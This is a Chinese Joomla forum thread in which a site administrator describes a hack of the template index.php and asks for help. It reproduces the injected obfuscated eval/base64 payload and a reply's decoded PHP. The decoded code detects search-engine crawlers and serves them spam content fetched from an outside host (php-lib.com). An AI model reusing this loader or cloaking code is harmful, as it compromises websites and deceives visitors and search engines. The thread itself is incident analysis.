Joomla之门广告招商,PR=5,alexa 排名2万1

作者 主题: 请高手分析一下Joomla之门被黑客攻击的问题  (阅读 6736 次)

白建鹏

  • Administrator
  • Hero Member
  • *****
  • 来自:
  • 帖子: 7594
  • 声望: +36/-0
  • 上次登录:今天 16:51
  • 注册于:2006-11-09, 20:32
  • 分享,是一种美德 !
    • 白建鹏的个人网站
    • 电子邮件
2月4日我回来很晚,到家后发现 Joomla中文开发小组QQ群 里面的 cola 留言提醒:Joomla之门论坛页面底部有许多外部(垃圾)链接。

cola 说,需要用火狐浏览器才能看到,IE 看不到。

我当时用 FireFox 3.6 64-bit 打开论坛页面,在底部没有看到这些链接,查看页面源代码也没看到。

群里的 jackyking 当时也看了,也没看到。

我以为没有什么问题。

晚上1点左右我上床后,无意中用手机上网访问了一下 Joomla之门网站,这次在 UCweb for Windows Mobile 浏览器中看到 cola 所说的问题了!在页面底部确实存在很多垃圾链接。附图是 cola 的截图,显示了他所看到的页面源代码底部。

我立即重新开启电脑,试图找到问题的来源。结果发现,Joomla之门 网站前台的当前模板 index.php 文件被人修改了。在文件底部 body 结束标记之前,插入了如下的代码(后来查看早期的全站备份文件,原来的 index.php 文件中确实不存在这些代码):

程序代码: [Select]
<?
eval(gzinflate(base64_decode('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')));
?>

奇怪的是,该文件的修改时间却没有变。还是前几天服务器搬迁时的时间戳。

我删除该段代码并更新 index.php 文件后,再次用手机浏览器访问网站,页面底部那段垃圾链接就消失了。

我的理解是:这段恶意代码是通过 eval(gzinflate(base64_decode 这种方式编码(加密)的,因此,在某些浏览器上无法解读,就看不到那些垃圾链接;另一些浏览器可能正确解读了这段代码,于是垃圾链接就显示了。

但是,无法理解的是:

1、黑客是通过什么途径修改这个文件的?
2、为什么黑客修改之后,文件的编辑时间没有改变?

如果这个安全漏洞不能堵上,黑客还有可能再次下手。而且,他下次可能造成的危害更大。

因此,请高手帮忙分析、指导一下,谢谢!

感谢 cola 的提醒和帮助!

说明:Joomla之门的网站核心是 Joomla! 1.0.15 中文版,所用的前台模板是 JA Mercury 免费模板。


tiger

  • 总版主
  • Full Member
  • *****
  • 来自:
  • 帖子: 192
  • 声望: +3/-0
  • 上次登录:今天 20:41
  • 注册于:2006-11-09, 11:03
    • 电子邮件
今天下午网站访问不是黑客,是机房停电了,呵呵!


jaleo

  • Joomla 中文开发小组
  • Sr. Member
  • *
  • 来自:
  • 帖子: 284
  • 声望: +4/-0
  • 上次登录:今天 10:14
  • 注册于:2007-03-28, 12:35
    • Blue Library
    • 电子邮件
文件权限改成644 会不会安全些
Less is more

白建鹏

  • Administrator
  • Hero Member
  • *****
  • 来自:
  • 帖子: 7594
  • 声望: +36/-0
  • 上次登录:今天 16:51
  • 注册于:2006-11-09, 20:32
  • 分享,是一种美德 !
    • 白建鹏的个人网站
    • 电子邮件
现在 index.php 文件权限已经是 644 了,这要感谢 tiger,他设置的是 FTP 上传后默认权限是 644.

dannyzhang

  • Newbie
  • *
  • 来自:
  • 帖子: 28
  • 声望: +0/-0
  • 上次登录:2010-08-24, 14:36
  • 注册于:2009-01-11, 13:06
    与我遇见的问题类似,同样是INDEX.PHP的修改时间未变,文件权限还是644。
    第一次是在index.php里添加了链接代码,手工清除后就没有问题了。
    第二次是在index.html里添加了链接代码,可以想象手工清除的工作量有多大,现在都懒得清了,谁有更好更有效的解决方法?

    bithost

    • Full Member
    • ***
    • 来自:
    • 帖子: 144
    • 声望: +4/-0
    • 上次登录:2010-09-02, 10:08
    • 注册于:2009-01-07, 22:01
      • 电子邮件
    有些第三方程序的漏洞问题谁也说不清的,最主要是加强服务器环境的安全保护,禁止某些危险函数的运行。
    想让你的Joomla网站更快吗?使用Bithost 合租空间 www.bithost.cn
    完全兼容Joomla,电信网通美国三线空间。
    另有美国合租空间(独立IP)
    QQ 48269819 可以试用 可以月付

    joeguo

    • Joomla 中文开发小组
    • Full Member
    • *
    • 来自:
    • 帖子: 125
    • 声望: +6/-0
    • 上次登录:2010-06-29, 10:21
    • 注册于:2007-10-18, 12:07
      • 电子邮件
    上面的代码是经过gzip压缩的base64加密后的php代码,破解后是:
    程序代码: [Select]
    <?php
    $server_accept_language 
    = @$_SERVER['HTTP_ACCEPT_LANGUAGE'];
    $server_user_agent = @$_SERVER['HTTP_USER_AGENT'];
    $ref = @$_SERVER['HTTP_REFERER'];
    $ref urlencode($ref);
    $server_host = @$_SERVER['HTTP_HOST'];
    $server_forwarded_for = @$_SERVER['HTTP_X_FORWARDED_FOR'];
    $server_remote_addr = @$_SERVER['REMOTE_ADDR'];
    $server_query_string = @$_SERVER['QUERY_STRING'];
    $server_signature = @$_SERVER['SERVER_SIGNATURE'];
    $server_request = @$_SERVER['REQUEST_URI'];
    $server_ip = @$_SERVER['REMOTE_ADDR'];
    function 
    detectBot($server_user_agent,$server_ip,$my_url_for_log,$server_query_string,$ref,$enable_logging){
    $stop_ips_masks = array( "66\.249\.[6-9][0-9]\.[0-9]+"// Google NetRange: 66.249.64.0 - 66.249.95.255
     
                              "74\.125\.[0-9]+\.[0-9]+"// Google NetRange: 74.125.0.0 - 74.125.255.255 
     
                              "65\.5[2-5]\.[0-9]+\.[0-9]+"// MSN NetRange: 65.52.0.0 - 65.55.255.255,
     
                              "74\.6\.[0-9]+\.[0-9]+"// Yahoo NetRange: 74.6.0.0 - 74.6.255.255
     
                              "67\.195\.[0-9]+\.[0-9]+"// Yahoo#2 NetRange: 67.195.0.0 - 67.195.255.255 
     
                              "72\.30\.[0-9]+\.[0-9]+"// Yahoo#3 NetRange: 72.30.0.0 - 72.30.255.255
     
                              "38\.[0-9]+\.[0-9]+\.[0-9]+"// Cuill: NetRange: 38.0.0.0 - 38.255.255.255
     
                              "93\.172\.94\.227"// MacFinder 
     
                              "212\.100\.250\.218"// Wells Search II
     
                               "71\.165\.223\.134"// Indy Library
     
                               "70\.91\.180\.25"
     
                               "65\.93\.62\.242"
     
                               "74\.193\.246\.129"
     
                               "213\.144\.15\.38""195\.92\.229\.2""70\.50\.189\.191""218\.28\.88\.99""165\.160\.2\.20""89\.122\.224\.230""66\.230\.175\.124""218\.18\.174\.27""65\.33\.87\.94""67\.210\.111\.241""81\.135\.175\.70""64\.69\.34\.134""89\.149\.253\.169""64\.233\.1[6-8][1-9]\.[0-9]+"
     
                               "64\.233\.19[0-1]\.[0-9]+"//google from iplists "209\.185\.108\.[0-9]+",
     
                                "209\.185\.253\.[0-9]+""209\.85\.238\.[0-9]+""216\.239\.33\.9[6-9]""216\.239\.37\.9[8-9]""216\.239\.39\.9[8-9]""216\.239\.41\.9[6-9]""216\.239\.45\.4""216\.239\.46\.[0-9]+""216\.239\.51\.9[6-9]""216\.239\.53\.9[8-9]""216\.239\.57\.9[6-9]""216\.239\.59\.9[8-9]""216\.33\.229\.163""64\.233\.173\.[0-9]+""64\.68\.8[0-9]\.[0-9]+""64\.68\.9[0-2]\.[0-9]+""72\.14\.199\.[0-9]+"
     
                               "8\.6\.48\.[0-9]+"//google from iplists // 10.0.0.0 - 10.255.255.255 iana
     
                                "207\.211\.40\.82""67\.162\.158\.146""66\.255\.53\.123""24\.200\.208\.112""129\.187\.148\.240""129\.187\.148\.244""199\.126\.151\.229""118\.124\.32\.193""89\.149\.217\.191" ); 
    $stop_agents_masks = array("http""google""slurp""msnbot""bot""crawl""spider""robot""HttpClient""curl""PHP""Indy Library""WordPress",'Charlotte','wwwster','Python','urllib','perl','libwww','lynx','Twiceler','rambler','yandex');
    $server_user_agent preg_replace("|User\.Agent\:[\s ]?|i""", @$server_user_agent);
    $is_human true;
    $stop_ip_detected false;
    $stop_agent_detected false;
    $detected_str "";
    foreach ($stop_ips_masks as $stop_ip_mask)
    if(eregi("$stop_ip_mask"$server_ip))
    $is_human false; break; }
    if($is_human)
    foreach($stop_agents_masks as $stop_agents_mask)
    if(eregi($stop_agents_mask, @$server_user_agent) !== false)
    $is_human false; break; }
    if($is_human and !eregi("^[a-zA-Z]{5,}", @$server_user_agent))
    $is_human false; }
    if($is_human and strlen($server_user_agent)<=11) { $is_human false; }
    if(stristr($ref,$server_query_string)) { $is_human false; }
    return $is_human;
    }

    @
    $is_human = @detectBot($server_user_agent,$server_ip,$my_url_for_log,$server_query_string,$ref,$enable_logging);
    if (@
    $is_human==false){
    if(ini_get('allow_url_fopen')==1){
    echo @file_get_contents('http://php-lib.com/?id=4b6864d81a7fd');
    } else if(function_exists('curl_init')){
    $ch curl_init(); $c_url 'http://php-lib.com/?id=4b6864d81a7fd';
    curl_setopt($chCURLOPT_URL$c_url);
    curl_setopt($chCURLOPT_HEADER0);
    curl_setopt($chCURLOPT_RETURNTRANSFERtrue);
    curl_setopt($chCURLOPT_TIMEOUT10);
    $data curl_exec($ch);
    echo $data;
    }
    }
    }

    ?>

    首先检测是否是用户访问,如果是用户在访问,则什么都不做;
    如果是来自网络爬虫,就会从网站php-lib.com上面下载一些数据显示出来。


    白建鹏

    • Administrator
    • Hero Member
    • *****
    • 来自:
    • 帖子: 7594
    • 声望: +36/-0
    • 上次登录:今天 16:51
    • 注册于:2006-11-09, 20:32
    • 分享,是一种美德 !
      • 白建鹏的个人网站
      • 电子邮件
    感谢 joe 帮忙破译。那是在使用 Joomla 1.0.x 核心的时候被黑客攻击的。现在已经升级到 Joomla 1.5 核心了,升级时我删除了所有 php 文件,因此我想以前被 hack 的文件也应该删除了。

    目前网站运行良好。